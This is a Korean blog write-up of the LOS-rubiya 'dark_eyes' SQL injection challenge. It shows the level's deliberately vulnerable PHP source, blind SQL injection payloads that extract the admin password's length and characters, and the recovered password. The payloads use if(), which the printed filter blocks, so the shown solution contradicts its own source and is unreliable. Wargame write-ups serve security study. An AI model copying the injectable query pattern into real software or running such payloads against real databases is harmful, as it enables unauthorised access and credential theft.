<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
pw 찾는 문제다.
sleep _ prob ) . () 필터링 당한다.
이번에는 참 거짓 찾기가 어렵다.
select 1 union select 2 를 이용해서 해야될듯
길이부터 찾아줄까
?pw='or (select 1 union select (if(length(pw)>0,1,0)))%23
이러면 1 을 반환하니까 정상적으로 작동 된다.
길이가 32 다.
이제 문자열 찾아주자
?pw='or (select 1 union select (if(ascii(substr(pw,1,1))>0,1,0)))%23
06b5a6c16e8830475f983cc3a825ee9a
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS-rubiya : iron_golem (0) | 2020.08.26 |
---|---|
LOS-rubiya : dragon (0) | 2020.08.26 |
LOS-rubiya : xavis (0) | 2020.08.26 |
LOS-rubiya : nightmare (0) | 2020.08.03 |
LOS-rubiya : Zombie_assassin (0) | 2020.08.03 |